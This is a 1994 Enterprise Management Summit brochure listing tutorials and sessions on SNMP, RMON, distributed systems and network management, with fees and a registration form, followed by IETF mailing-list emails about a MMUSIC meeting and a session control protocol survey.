(T1) Managing Distributed Applications Across the Enterprise
(Half Day)
SNMP has revolutionized network management, providing a quick and easy
polling
mechanism to manage the health and status of a network environment. However,
SNMP and the current industry approaches to enterprise management fall
woefully
short in managing distributed client-server applications. This tutorial
presents an
object-oriented framework that overcomes the inherent limitation of SNMP
alone.
Topics addressed include
     * Current Market Trends - Review of the current management
software/platform
market and what steps are being taken to develop standards for distributed
application
development. 
     * Organizational IT Trends and Directions - Is there enough demand for
distributed
application management to get vendors to respond?
     * The Need for an "Enterprise" Management View - A holistic
approach
     * A Framework for Distributed Applications Management - An
object-oriented
distributed management framework which utilizes DCE for the communications
mechanism and provides core functionality.
     * User Case Studies

Instructors:
Steven Shaffer and Patrick Gallagher, SSDS, Inc.

Monday  8:00am - 5:00pm
(T2) From Computer Security to Enterprise Security (Full Day)
The rapid rise of the personal computer and more recently of client/server
computing
has emphasized applications and protocols with very little attention paid to
real
security. This tutorial will introduce the attendee to the issues of
enterprise security
and how it can be achieved in a distributed computing environment. Covered
will be
basic threats, technologies and strategies to guard networks and the systems
connected to them. The tutorial will include
     * From Time Sharing to Distributed Computing
     * Basic Network Technology
     * The Internet
     * Threats to Network Security
     * Solutions and Technologies: Kerberos, Lotus Notes
     * User Case Studies

Instructor:
Jeff Schiller, MIT

Monday  8:00am - 5:00pm
(T3) Selecting an Enterprise Management Platform (Full Day) 
The task of managing distributed systems in a heterogenous network
environment is
extensive and complex. Organizations attempting to manage distributed
systems on a
piecemeal basis soon find administrative costs careening out of control.
Management
platforms can act as the centerpiece for an effective distributed systems
management
strategy. This tutorial presents objective evaluations of leading network
and systems
management platforms. Attendees will gain an understanding of what
management
platforms can and cannot do, as well as what platform functions are
available now,
and what vendors are planning to deliver in the near-term. The level of this
tutorial is
beginning to intermediate. It will benefit those responsible for selecting
and
administering network and systems management solutions. 

Instructors:
Jill Huntington-Lee, Brandywine Network Associates and Steve
Morganthal, Unified Systems Solutions

Monday & Tuesday  8:00am - 5:00pm
(T4) Distributed Systems Management (Two Days)
This tutorial will show you how to improve the quality of support for your
distributed
systems users while dramatically lowering the cost of delivering that
support. It will
provide you with a comprehensive understanding of the existing and emerging
approaches to distributed systems management, the achilles heel of
client-server
computing.  Also included will be an interactive exercise where you "map the
future"
and register your opinions about future events in distributed systems
management.

Day 1: Technology and Architecture  
* Remote Centralized Management
* The Business Case for New Management Technology and Distributed
Systems
* Lowering the Cost of Distributed Systems
* Key Requirements for Distributed Systems Technology

Day 2: Products and Vendor Strategies
* UNIX Systems Management
     Sun, Tivoli, NCR, IBM, DEC, CA
* PC LAN Management
     Novell NMS, Banyan/Trellis, Network Computing, IBM,
Microsoft
* Products for Key Functions
     Software Distribution, Backup, Problem Tracking
     Inventory, Design and Capacity Planning
     Network Management: Smart Hubs, Routers

Instructor:
James Herman, Northeast Consulting Resources, Inc.

Monday  1:00pm - 5:00pm
(T5) Managing Messaging Networks: A Systematic Approach (Half
Day)
Electronic Messaging Services Networks are growing in complexity and size,
offering
services like enhanced fax, EDI, voice mail, X.400, etc. Messaging networks
combine
the characteristics of time-sharing services and traditional voice and data
networks.
This tutorial shows how  to manage globally distributed electronic messaging
services
networks. Special emphasis will be placed on managing the service
applications. This
session presents an "Enterprise Management Framework" consisting of
     * How to Manage Messaging Networks
     * Network Management Architectures
     * The Typical Electronic Messaging Network
     * Using Standard Off-the-Shelf Products for User Interfaces
 
Instructor:
Raj Ananthanpillai, AT&T EasyLink Services


OPTIONAL TUTORIAL SESSIONS
Tuesday, November 15   8:00am - 12:00pm

(T6) Network Management with the RMON MIB (Half Day)
The RMON MIB was defined by an IETF working group to create a standard
approach
to remote management of networks. RFC 1271(Remote Network Monitoring
Management Information Base) specifies a framework for all remote monitoring
MIBs
and specific groups for Ethernet. Token ring extensions have also been
defined. This
tutorial surveys 
     * The current state of network management using RMON-based
products. 
     * The status of RMON and its position in the Internet
Society standards process
     * Details the RMON structure and the specific tables of RFC
1271. 
This tutorial gives you a detailed understanding of network management via
remote
monitoring and ideas on RMON tool evaluation procedures. 

Instructor:
Mike Erlinger, The Aerospace Corporation/Harvey Mudd College

Tuesday  8:00am - 12:00pm
(T7) Desktop Management Interface (DMI): A Standard Building
Block for Network and Systems Management (Half Day) The Desktop Management
Task Force (DMTF) has developed the DMI specification and associated
interfaces to
enable management of PC systems and servers. The interface enables
developers of
hardware and software components to enable their products to be accessed and
contribute to systems and network management. Using DMI, product developers
can
focus on developing intelligent, well-managed products allowing systems
management
applications to understand and utilize the information for configuration,
setup,
diagnostics, as well as local and network management functions.

This tutorial starts with an overview of the DMI architecture followed by a
description
of how the DMTF working groups are defining and implementing systems
management including PC/Servers, network interface cards and other adapters,
and
peripherals. Examples of the actual products using DMI, working progress,
and how to
obtain information or become involved will be presented.
 
Instructor:
Steve Balogh, Desktop Management Task Force (DMTF) and Intel
Corporation

Tuesday  8:00am - 5:00pm
(T8) Selecting Enterprise Management Applications (Full Day)
Management platforms such as HP OpenView or IBM NetView/6000 can act as the
centerpiece for an effective distributed systems management strategy.
However,
platforms primarily support generic management services, providing only the
starting
point for comprehensive solution. By adding device-specific and
task-specific
applications, organizations can leverage their investment in a strategic
management
platform and fashion an enterprise-wide management solution. This tutorial
presents a
comprehensive overview of the management applications shipping today for
leading
UNIX-based open management platforms. Attendees will discover the wide range
of
applications available today for managing distributed systems. By examining
several
case studies, attendees will learn how organizations are using these
applications to
solve complex network and systems management problems.  

Jill Huntington-Lee, Brandywine Network Associates and Steve
Morganthal, Unified Systems Solutions

Tuesday  1:00pm - 5:00pm
(T9) Managing High Speed Networks (Half Day)
Broadband networking services are arriving rapidly. Managing intelligent,
flexible,
high-speed networks demands new management approaches. This half-day
tutorial
offers a unique combination of a tutorial and a panel with leading vendors
to give you
their perspective on their management offerings. Areas covered include

* High-speed networks:SMDS, Frame Relay, BISDN, ATM
* Management Challenges, Problems, and Solutions
     Switched connections vs. datagrams
     Connection management systems
     Emerging virtualization
     Application management
* Customer Network Management:Rationale, Architecture, Functions,
ATM, Frame Relay,SMDS, BISDN
* Panel Discussion: How to Deploy a Manageable High Speed Network

Instructor:
John McConnell, McConnell Consulting, Inc.

Tuesday  1:00pm - 5:00pm
(T10) Distributing Management Functions (Half Day)
The expansion of the use of SNMP Version 1 and SNMP Version 2 beyond
traditional
network management to include system management and applications management,
coupled with recent developments in MIB development has vastly expanded the
scope
of SNMP-based management. This growth and expanded scope has led to new
requirements for extensible agent infrastructure and for hierarchical and
mesh
management via the Manager-to-Manager MIB and Mid-Level Manager MIB. This
tutorial will explore these trends and their implications.

Instructor:
Jeff Case, SNMP Research, Inc.

----------------------------------------------------------------------------
-----------------------------------------
TECHNICAL SESSIONS
               
Wednesday, November 16
10:30am - 12:00pm

(S1) Using Expert Systems To Manage Diverse Networks 
With the advancements in networking technology it is becoming ever more
difficult to
monitor and manage large heterogenous networks that lack a common interface.
This
session shows you how to use an object-oriented approach in conjunction with
expert
systems to better design and maintain large networks.  

Presenter:Edward B. Toupin, Texaco T&T, Inc.

(S2) Managing Distributed Systems 
Managing distributed client\server environments challenges companies to
transcend
old methods. As managers face the nine-headed hydra of systems management,
the
overall challenge is to achieve an open management plan for a truly open
system
environment. This session shows the reality of enterprise client/server
networks.
Specific topics include: avoiding the time/labor sinkhole of software
distribution;
client/server computing with a mixture of Unix server sand PC desktops;
distributed
systems management vs. network management; understanding the REAL costs of
managing distributed environments.

Presenter:
Frank Moss and Scott Harmon, Tivoli

(S3) An Overview of Enterprise Management Platforms
This session reviews the network and systems management industry
concentrating on
major initiatives sponsored by leading vendors. Past, present, and future
technology
trends covered include network management platforms, extensible agent
architectures,
systems management platforms, desktop management (DMTF), and ORB/distributed
object directions.  

Presenter:
Chris Slatt, LEGENT Corporation

(S4) Expanding Your WAN: Strategies for Cost-Effective WAN Expansion
Wide area networks with inherent growth demands, whether consistent or in
spurts,
present unique challenges to the network designer. When adding new locations
to a
network, the network designer must add them somewhat in their order of
arrival.
However, if the new locations can be grouped, the designer can achieve
certain
network efficiencies because of greater optimization opportunities. This
session shows
you the costs of different approaches. 

Presenter:
Gary Schilling, Quintessential Solutions

Wednesday  1:30pm - 3:00pm
(S5) Panel: Managing Netware LANs in the Enterprise 
This session outlines situations faced by enterprise managers as they deal
with the
distributed, domain-oriented styles of NetWare LANs. Solutions will be
proposed
including the NetWare Distributed Management Services (NDMS) architecture. 

Moderator: Ray Caruso, Power Play Technologies, Inc.
Panelists:Tom O'Neil, Network Computing and Christine Haycock,
Novell

(S6) Panel: Host Management with SNMP
Hosts are critical components in any organization's enterprise computing
environment.
However, these resources have tended to be ignored by standards bodies. As a
result,
managers of systems have been left to the mercy of vendors' proprietary
solutions.
Recently, standards-based alternatives for the management hosts, even
including the
desktop, have become available. This panel will discuss these alternatives
from a
manager's perspective. The discussion will include such topics as "Is remote
management capability required for desktop systems?"; "Why use a standards
based management solution?"; "Remote management vs. local
management of hosts".

Moderator: Steve Waldbusser, Carnegie Mellon University

(S7) Integrating the Workgroup and the Enterprise
This session illustrates ways to provide enterprise management capabilities
for large
centralized mainframe environments, WAN/LAN management, and emerging
workgroup, branch office, home, and mobile computing environments. Topics
covered
include:  Enterprise Management Consoles,  Infrastructure Management
Frameworks, 
Network and Systems Management Platforms, LAN Management Platforms, Network
Utilities, Network and System Management Services.

Presenter:Chris Thomas, Intel Corporation

(S8) Getting the Most From Management Metrics in a Distributed Computing
Environment 
With distributed computing, you must now deal with scores of systems and
applications (such as RDBMS's) with little commonality of workloads across
systems.
These new environments require a new way of collecting, storing, and
analyzing
management data. This session shows alternative methods for making sure you
have
the right metrics available at the right place for the management task at
hand.

Presenter:Doug McBride, Hewlett-Packard

Wednesday  3:30pm - 5:00pm
(S9) Defining Response Time Service Levels on Inter-Networked LANs and WANs
In the "old" environments (single architectures and protocols) you could
monitor the
performance of network devices as well as the response time "service levels"
that your
users were receiving. However, performance management tools in "new"
multiprotocol,
multi-vendor internetworks are limited to simply managing devices not
service levels.
This lack of service level data can cause peculiar and embarrassing problems
for the
IS manager. This session shows how to develop a rich database of users'
response
time data that will provide strategic information for network designers. 

Presenter:Warren Sullivan, Network Telemetrics

(S10) Integrated Network and Systems Management: A Case Study
This session reviews actual systems integration efforts for commercial and
federal
clients focused on network and systems management solutions. Topics include:
The
business impact of an integrated network and management systems solution;
Network
design and infrastructure implementation; Business process re-engineering
and
information analysis; Concepts of operations for management network
environments.

Presenter:
Bob Kronzer; Booz, Allen & Hamilton

(S11) Fighting the Enterprise Management Turf Wars
The goal of systems management is saving money, not the resolution of
corporate
heresies. This session presents the experiences of a company doing both
centralized
and distributed systems management and how strategies were developed for
both. 
It will take a real world look at reducing costs and improving teamwork and
explore
how projects at UPS kept moving in spite of obstacles thrown up by vendors,
technology, and personalities. It will review key success factors such as a
solid
cost-benefit analysis, the availability of short term gains within a
long-term
visions, and the willingness to take risks. Presenter:Randy Smith, United
Parcel
Service

(S12) Enterprise Management Analysis: A Case Study
There are few standards for Performance Management of distributed systems
and the
current existing tools are very immature. This case study details one user's
networked,
client-server environment. It shows how this company effectively manages
computer
resources using SNMP data, including current network configuration,
collection of
performance metrics, and management of data via a   Performance Data Base.

Presenter:
Barbara Pendergras and Barbara Bonham, SAS Institute

----------------------------------------------------------------------------
-----------------------------------------
TECHNICAL SESSIONS
               
Thursday, November 17
10:30am - 12:00pm

(S13) Quality of Service: Does Anything Else Matter in Enterprise
Management?
Enterprise management divides the subjects of network and service management
into
the five OSI areas (Fault, Configuration, Accounting, Performance, and
Security).
Different people place different emphasis on these areas as being of more
importance
than others but there is one function which underlies all of these and which
is the real
reason for the whole enterprise management industry. The primary function of
network
and service management is to maintain Quality of Service. This presentation
recaps a
basic meaning of QOS and shows how it permeates throughout all the other
areas.  

Barbara Cartmel, Cray Communications

(S14) Integrating the Management of Security
This session reviews current attempts at integrated security services for
enterprise
environments and proposes a central Security Information Base (SIB)
methodology.
By combining the SIB with the Business Process Reengineering methodology,
people
roles can be defined in terms of what applications can be run and functions
performed. These people roles can then be mapped to security roles. 

Presenter:
Joost Verhofstad, Bull

(S15) Managing the Distributed Enterprise: What You Buy Isn't Always What
You Get
Information systems and attendant technologies today only remotely resemble
those of
five years ago, and are completely unrecognizable when compared to their
predecessors of only ten years ago. Managing these new systems and their
architectures has become the most "unmanaged" component of the "new" IS
movement toward distributed systems in a client/server environment. This
session will
explore the issues resulting from the unmanaged and uncontrolled growth of
end-user
related technology implementations and how the schema  for managing this
environment must change to deal effectively with distributed systems. It
will also
explore the misconceptions and realities about today's enterprise management
products. 

Presenter:Jerry McDowell, Objective Systems Integrators

(S16) Automating Production in a Multi-Vendor Client/Server Environment
Data Centers are being asked to accomplish more work with fewer people, this
at a
time when downsizing and client/server computing are creating an explosion
in the
number of computers and applications being managed. This session explores
tools to
automate increasingly complex "routine" tasks.

Presenters:Jefferson Kita & Mark Chisolm, Digital Equipment
Corporation

Thursday  1:30pm - 3:00pm
(S17) Panel: Building and Managing Virtual Networks
In an increasingly mobile world, managing change has become one of the
biggest
administration headaches in a network. The evolution of switched LANs,
TCP/IP, and
management tools have opened up the opportunity to integrate these
technologies to
build a network that will dynamically adapt to network, applications and
end-user
changes and demands. This session explores how to: unleash a new level of
power
and flexibility through virtual networking; design and manage virtual
networks;
dramatically reduce the cost of moves/adds/changes;  and reconfigure LANs
through
software control.

Moderator: Frank Hiatt, Chipcom Corporation
Panelists:   John Stehman, American Airlines; David Fowler, FTP
Software; Asheem Chandna,
Synoptics

(S18) Panel: Management Challenges of Mainframe to UNIX Migration
Migrating to a UNIX environment means more than converting COBOL to C, or
JCL to
UNIX Scripts. Once the database and applications are ported, someone is
still
responsible for maintaining security, integrity, and dependability on the
new systems.
While much of what we know from the mainframe can be applied to managing
UNIX,
there are some new twists on the old challenges which stem from the
distributed,
multinode nature of open systems. This session provides user and system
integrator
experiences in addressing the management challenges associated with a
mainframe
migration.

Moderator: Carla Fitzgerald, Computer Associates

(S19) Enterprise Management Today: A View From the Trenches 
While standards groups, consortiums, and vendors promise better days ahead
for the
management of large environments, individuals responsible for managing those
environments need solutions now. Two key impediments to any successful
implementation are the failure of available solutions to scale and their
inability to
integrate effectively with each other. This presentation will examine
available leading
technologies and products, noting shortcomings in these key areas. This
presentation
will address what practical steps the enterprise manager can take today to
overcome
these limitations while positioning their organization for the future. It
will also address
what technologies and products show the most promise for providing long term
solutions.

Presenter: David Kaufman, DeskTalk Systems

(S20) Harnessing the Internet for Help Desk Support
Internet access is one of the most competitive advantages that a customer
support
help desk can offer to improve its service efficiency and provide its
customers with a
choice of communications methods. This session shows how to harness the
Internet to extend the functions that internal E-Mail serves, expanding it
on a global
basis to customers regardless of location or time zone. Help Desk
organizations that
acquire it early can secure a significant business advantage in a hotly
competitive
global environment.

Presenter:Gerald Croteau, Jr., Target Systems

Thursday  3:30pm - 5:00pm
(S21) Panel: Decreasing the Cost of Managing the Enterprise Networks
According to a recent Gartner Group study, LAN operations and management
make
up 86 percent of total network expenses. Tasks that may be simple for a
small
network, such as monitoring or asset management, can be overwhelming for an
enterprise spanning 12 officesthroughout the world. What management tools
are
available to simplify user adds, moves and changes? How important is network
design? Will new technologies such as switching affect how you manage the
network?
This panel will provide both user and vendor perspectives to paint a
realistic picture of
key issues and available solutions that help decrease the cost of managing
networks.

Moderator: Michael Howard, Infonetics Research
Panelists: Karen Copeland, Synoptics; User: TBD

(S22) A Standardized Approach to the Management of Software 
In order to standardize the management of software applications, managed
objects
must be effectively integrated into large complex software constructions.
This session
presents an approach to software modeling and instrumentation which attempts
to
isolate the software developer from the details of supporting resource
abstraction (i.e.,
the maintenance managed objects), management request and event processing,
while
allowing for the software constructions themselves to live up to their
management
responsibilities. Also presented will be an Applications Programming
Interface that
allows a software developer's constructions to participate, from a
distributed
management perspective, in the networked environment. 

Presenter:Jonathan Weinstock, Bellcore

(S23) Applying Service Level Management to the Enterprise
Service level management is well understood and generally accepted for
centralized
mainframe environments. As critical applications are moved into the
distributed,
client/server environment, managing service levels becomes more difficult
and
requires new technology and more widespread commitment and consistency to be
truly effective. This session outlines an approach to service level
management that
involves all functional areas of IT. Current technology and trends that
assist
in service level management will be examined. 

Presenter:
Wayne Morris, Enterprise Software Corporation

(S24) What the Heck Is a Protocol Analyzer Good for Anyway?
As corporate networks continue to expand, distributed analyzers will play a
key role in
monitoring network utilization, traffic flow, and security across multiple
subnets. This
session shows how network analyzers can isolate low level problems such as
errors
due to faulty cable plant, packet congestion, jabbering repeaters, malformed
packets,
as well as higher level problems such as peer-to-peer or client/server
networking
software, host configuration errors, traffic latency and timeout settings,
and routing
errors.   

Presenter:
Jeanne Abmayr, FTP Software

----------------------------------------------------------------------------
-----------------------------------------
TECHNICAL SESSIONS
               
Friday, November 18
8:30am - 10:00am

(S25) Managing Your Network From Anywhere
The help desk of the 90's has become a pivotal communications hub from which
to
run the myriad of support "events" for any size organization. These events
can range
from automatic submission of component failures, to problem escalations, to
communication to key individuals and workgroups about status and resolution
of
issues. The help desk is a centralized "hub" of activities and support
processes which
should be accessible by support or management staff from any location. For
the
mobile manager or support technician, there is a requirement for access to
the help
desk across organizations, from remote locations, from home, or between
continents.
This session will discuss these requirements and the technologies to
implement
remote access to the hep desk. 

Presenter:Dave Mahler, Remedy Corporation

(S26) Using SNMP to Manage Relational Databases
The most critical asset that an organization has in any computing
environment is the
information contained in the databases on these systems. Until recently the
options
available for managing those databases have been very limited. This
presentation will
offer specific information about how to monitor relational databases in
general, and
Oracle software in particular. Specific emphasis will be given to examining
how SNMP
can be used in the management of relational databases.  Mr. Purvy is
chairman of the
IETF working group (which includes IBM, Sybase, Informix, DEC, Tandem, Red
Brick,
Gupta, and other RDBMS vendors)

Presenters:Bob Purvy, Oracle Corporation

(S27) Aligning Network and Systems Management with Business Goals
There is a lot of attention today focused on various network and systems
management
technologies. The real challenge, however, is managing your networked
information
services so they become a critical component of your company's business
strategy.
This requires looking at the problem from a top-down business perspective.
This
session shows how to align network and systems management with business
goals. It
focuses on management methods, process automation, quality of service, and
achieving cost reductions.

Presenter:Bruce Morrell, EDS & Network Management Forum

(S28) Maintaining Security When You Connect Your Corporate Internet with the
Global
Internet
As more companies connect to the Internet, security has become a major
concern.
Gateway approaches often suffer from bottlenecks and may restrict the flow
of valid
business information. This session shows how to build scalable security
gateways that
permit information flow filtered by applications and host names.

Presenter:TBD, Digital Equipment Corporation

Friday  10:30am - 12:00pm
(S29) Remote Access Communications Takes Off
Recent deployments of cheaper switched services like ISDN by the RBOCs and
PTTs
combined with advanced remote access devices has enabled hundreds of new
high
bandwidth applications. This rapid emergence of high bandwidth multimedia
applications (like videoconferencing, Internet graphics, telemedicine, and
image
transfers) has created unprecedented challenges for computer and
communications
managers to satisfy these remote access requirements. This session discusses
how to
remotely access on-demand, high-bandwidth applications on any network
service.

Presenter:Steve Thomas, Ascend Communications

(S30) High Availability Computing for Distributed Applications
Although many vendors have evolved extensive networking facilities over the
years,
UNIX technology suggests a more advanced set of systems management tools
capable of true distributed processing in a fault-tolerant environment. This
session
discusses how to build a robust workload management infrastructure capable
of
withstanding network failures and reduced bandwidth. 

Presenters:Mike Casteel and Julia Lockwood, Unison

(S31) The Business Case for LANs/WANs: A Cost Benefit Analysis
Today's network managers need information regarding the real costs of
network
management. What does it cost to add a user to a network segment or move a
piece
of equipment or workgroup to another location? This session shows how to:
Develop a
network management ROI (return on investment) model for the distributed
computing
environment; Calculate the costs of moves, adds, and changes to the network;
Understand the hidden costs including network downtime, time spend finding a
network problem, and the productivity loss of highly skilled employees.

Michael Upp, ISICAD

(S32) Building Manageable Networks
This presentation will discuss the growth of Duke Power's network and the
pressures
that are driving the move from an SNA-based to an IP-based network. Duke's
approach to using OpenView as an enterprise management platform will be
discussed.
Multiple systems are being deployed at major campus areas in the company,
with one
system having responsibility for the key network components across the
enterprise.
Major management activities include data collection, trap configuration,
even handling,
and troubleshooting.

Paul Edmonds, Duke Power

Friday  1:30pm - 3:00pm
(S33) Token Ring Integration with ATM
What does the future hold for millions of Token Ring users? This session
discusses
basic migration concepts: Token Ring LAN emulation over ATM, support for
802.5
frame formats on ATM, the role of source routing in Token Ring emulation,
and the
implications for interconnectivity of Token Ring with ATM. Particular points
include:
Distributed versus collapsed backbone architectures; Bridged versus routed
architectures; Handling routable and non-routable protocols; the role of
Token Ring
switching.

Presenter:Rick Lougee, Madge Networks, Inc.

(S34) Proactive Monitoring of Client/Server Applications
Standards such as SNMP and RMON have been developed to manage and monitor
the physical characteristics of distributed enterprise networks, but little
has been done
to provide generic tools that will allow network administrators to manage
server-based
applications. This session shows how to proactively manage popular
applications such
as NFS, Sybase, etc. for optimum network availability by using distributed
management standards and applying them to the application layer of the ISO
stack. 

Presenter:Nate Kalowski, Frontier Software

(S35) Can Systems And Applications Really Be Managed? 
Many end users consider the lack of standards and tools for systems
management to
be the primary obstacle preventing them from moving to distributed
processing and
client server computing. How soon will standards evolve? Which standards
make
the most sense? This session examines different approaches by the standards
bodies
and major vendors. 

Presenter:Steven Morgenthal, Unified Systems

(S36) Efficient Data Collection for SNMP/RMON Based Network Management
Using SNMP to gather network information from a monitoring agent at the MAC
level
is well established. This provides an excellent platform on which to build
trouble
shooting and test equipment tools. A number of problems arise from this
approach,
however, including SNMP/network error handling, agent resource management,
dealing with large volumes of low-level data, etc. This session shows how to
solve this
problem using an extensible agent architecture (Dynamically Loadable
Modules) and a
Data Collection Server. 

Presenters:Dave Maxwell & Peter Sykes, AXON Networks

----------------------------------------------------------------------------
-----------------------------------------
HOTELS AND FEES
                
Hotel Accommodations
Santa Clara Westin
5101 Great America Parkway
Santa Clara, CA 95054
1-800-228-3000
1408-986-0700 (Outside U.S.)
Rates: $110/Single, $120/Double

Santa Clara Marriott
2700 Mission College Boulevard
Santa Clara, CA 95054-8181
1-800-228-9290
1408-988-1500 (Outside U.S.)
Rates: $110/Single, $110/Double

Please call these hotels directly and identify yourself as a
Summit '94 participant to receive our special conference rates.
Hotel reservations must be made by October 15 to guarantee the
conference discount. All room rates are subject to state and
local taxes.

Conference Fees
To receive discounted rates, full payment must be received on or
before October 15, 1994. Registrations received after that date
will be accepted at the regular rate. All discounts must be taken
at the time of registration. 

Refund Policy
There is a $100 cancellation fee for all paid registrations.
Summit '94 must receive a written cancellation notice no later
than November 1, 1994 to receive a refund minus the cancellation
fee. Refunds will not be made after November 1, 1994.

Substitutions
Substitutions are allowed at any time with the written permission
of the original registrant. 

Payment Information
Registration fees can be paid in U.S. currency only by check,
money order, VISA, MasterCard, or American Express. Please
indicate your method of payment (check the method of payment and
complete the required information). Checks must be drawn on
a USA bank or a USA branch of a non-USA bank. Make all checks
payable to CONFERENCE REGISTRATION. All registration payments
must be received in full prior to attending the conference.
Purchase Orders will not be accepted.

Three Easy Ways to Register:
MAIL:  Conference Registration
     Enterprise Management Summit '94
     P.O. Box 77046
     San Francisco, CA 94107

FAX:      1-415-512-1325
EMAIL:    emiinc@mcimail.com

For More Information:
In the US: 1-800-340-2111
Outside the US: 1-415-512-0801

----------------------------------------------------------------------------
-----------------------------------------
REGISTRATION FORM

First Name:

Last Name:

Title:

Company/Organization:

Street:

City

State/Province

Zip/Postal Code

Country:

Telephone:

FAX:

EMAIL:

* Full Conference Registration
Includes proceedings and all events EXCEPT tutorial sessions. 
$595 ON OR BEFORE October 15
$750 AFTER October 15

* Tutorial Registration
Includes tutorial session and proceedings for the session(s)
selected.
$600 Two Day        $300 Full Day       $150 Half Day

Please circle your choices:

Monday, November 14
T1: Managing Distributed Applications Across the Enterprise
     ($150)
T2: From Computer Security to Enterprise Security ($300)
T3: Selecting an Enterprise Management Platform ($300)
T4: Distributed Systems Management ($600)
T5: Managing Messaging Networks: A Systematic Approach ($150)

Tuesday, November 15
T6: Network Management with the RMON MIB ($150)
T7: Desktop Management Interface (DMI): A Standard Building Block
     for Network and Systems Management ($150)
T8: Selecting Enterprise Management Applications ($300)
T9: Managing High Speed Networks ($150)
T10: Distributing Management Functions ($150)

* Conference and Tutorial Package Discounts
Includes full Conference plus Tutorials: 1 Two Day OR 2 Full Day
OR 4 Half-Day Tutorial Sessions.
$995 ON OR BEFORE October 15
$1,150 AFTER October 15

YOUR REGISTRATION TOTAL: $

* Payment Method
Check _____
Money Order _____
American Express _____
Mastercard _____
VISA _____

Credit Card Number:

Expiration Date:

Signature:


From owner-confctrl@ISI.EDU  Thu Nov  3 09:51:59 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA03345>; Thu, 3 Nov 1994 17:59:02 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA03341>; Thu, 3 Nov 1994 17:58:59 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA10519; Thu, 3 Nov 94 17:51:57 PST
Message-Id: <9411040151.AA10519@std.sri.com>
To: confctrl
Cc: schooler@cs.caltech.edu, aweinrib@ibeam.jf.intel.com, tfrivold@std.sri.com,
        rlang@std.sri.com
Subject: MMUSIC at December IETF
Date: Thu, 03 Nov 1994 17:51:59 -0800
From: Ruth Lang <rlang@std.sri.com>


Dear Members of MMUSIC:

Although not currently in the IETF Draft Agenda, a MMUSIC Working
Group session is tentatively planned for Thursday, December 8, 9:30a-noon.

Thane Frivold and I will be organizing and conducting that meeting due
to Eve Schooler's and Abel Weinrib's work-related conflicts/commitments.
We are considering the following topics for the meeting and would like your
feedback and input on them:

- Presentation/discusssion on functional requirements for session control.
  Goal is to obtain input on and concensus from working group which will
  enable us to solidify a set of functional requirements.

- Presentation/discussion on functional requirements for a session description
  which can both serve as the advertisement for an open, or description of
  a closed membership conference.

- Update on Agreement Protocol design and implementation (Weinrib et al).

- ITU update (if available, from Joerg Ot or Carsten Bormann)

- Discussion on output of the working group (for modifying charter).

If anyone has technical progress to report relevant to conference control 
and is interested in giving a presentation on that work, please contact
Thane Frivold (tfrivold@std.sri.com) or me.

Regards,

Ruth E. Lang
Sr. Computer Scientist
Augmented Collaborative Environments Program
SRI International
rlang@sri.com
Office: (415)859-5608
Fax:    (415)859-6028



From owner-confctrl@ISI.EDU  Mon Nov  7 05:10:04 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA07318>; Mon, 7 Nov 1994 07:10:28 -0800
Received: from faline.bellcore.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA07314>; Mon, 7 Nov 1994 07:10:26 -0800
Received: (from aileen@localhost) by faline.bellcore.com (8.6.9/8.6.6) id KAA15000 for confctrl@isi.edu; Mon, 7 Nov 1994 10:10:04 -0500
Date: Mon, 7 Nov 1994 10:10:04 -0500
From: aileen@faline.bellcore.com (Aileen Cheng)
Message-Id: <199411071510.KAA15000@faline.bellcore.com>
To: confctrl
Subject: request to join


Hi,  I would like to join this group.  Please add my name to
the mailing list.   
Thanks.

Aileen Cheng
aileen@faline.bellcore.com

From owner-confctrl@ISI.EDU  Fri Nov 11 09:02:09 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA06555>; Fri, 11 Nov 1994 17:10:01 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA06551>; Fri, 11 Nov 1994 17:09:56 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA20193; Fri, 11 Nov 94 17:02:07 PST
Message-Id: <9411120102.AA20193@std.sri.com>
To: confctrl, rem-conf@es.net
Cc: tfrivold@std.sri.com, rlang@std.sri.com
Subject: Session Control Protocol Survey for MMUSIC IETF 12/94
Date: Fri, 11 Nov 1994 17:02:09 -0800
From: Ruth Lang <rlang@std.sri.com>


The goal of the enclosed survey solicitation is twofold:

1) Gather information in order to solidify a set of functional
   requirements for session control.  These requirements will be
   reflected in an architecture document and/or functional
   requirements document to be written by the MMUSIC working group.

2) Serve as a comparative basis for the development of an experimental
   session control protocol by MMUSIC.

Therefore, we are soliciting descriptions of the Session Control
Protocols you have defined and developed.  Survey information will be
made available to the IETF community for review at
ftp://venera.isi.edu/confctrl and ftp://ws11.std.sri.com/pub/confctrl.

During the IETF MMUSIC session tentatively scheduled on Thursday,
December 8, 9:30a-12:00, we will review and discuss a summary of the
surveys received and work to solidify a set of session control
protocol requirements.

In filling out this survey, you may wish to refer to a glossary of
session control terms (ftp://ws11.std.sri.com/pub/confctrl/glossary),
and the architectural framework diagram contained in
ftp://venera.isi.edu/confctrl/minutes/ietf.3.93.

Please send your responses to one or all of tfrivold@std.sri.com,
rlang@sri.com, and confctrl@isi.edu by November 28, 1994.  Later
responses will be accepted, but may not be factored into the summary
we present at IETF.  If for some reason you are unable to complete
each question, please send whatever information you can provide.

Please post any questions or comments on the survey to us, with cc to
confctrl@isi.edu.

Thane J. Frivold, tfrivold@std.sri.com
Ruth E. Lang, rlang@sri.com
----------------------------------------------------------------------------


Session Control Protocol Survey
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Name of the Protocol (if any)
Technical point(s) of contact including email address(es)
and organization affiliation

General Description
-------------------

1) Between what components is the protocol used?  I.e., between media
   agents, between session managers, session manager to media agent,
   or other.

2) Describe, at a fairly high level, the characteristics of session
   control that are key to your protocol.  I.e., what is the protocol
   trying to achieve and what special problems does it solve.  E.g.,
   process coordination, resource negotiation, media synchronization,
   floor control, topology management, etc.

3) Describe, at a fairly high level, the characteristics of session
   control that you do not care about or have (un)intentionally
   ignored.  See examples in 3.


General Protocol Characteristics
--------------------------------

4) Is the representation ASCII or binary?

5) Is the paradigm request/response (client/server model),
   peer-to-peer, or other?

6) Is it asymmetric or symmetric (e.g. do initiator's have special
   privileges or state information)?  Are all messages sent to all
   participants or are some sent to a subset?

7) What transport protocol is used (TCP, UDP, multicast)?  Does it
   make use of other protocols such as RTCP?

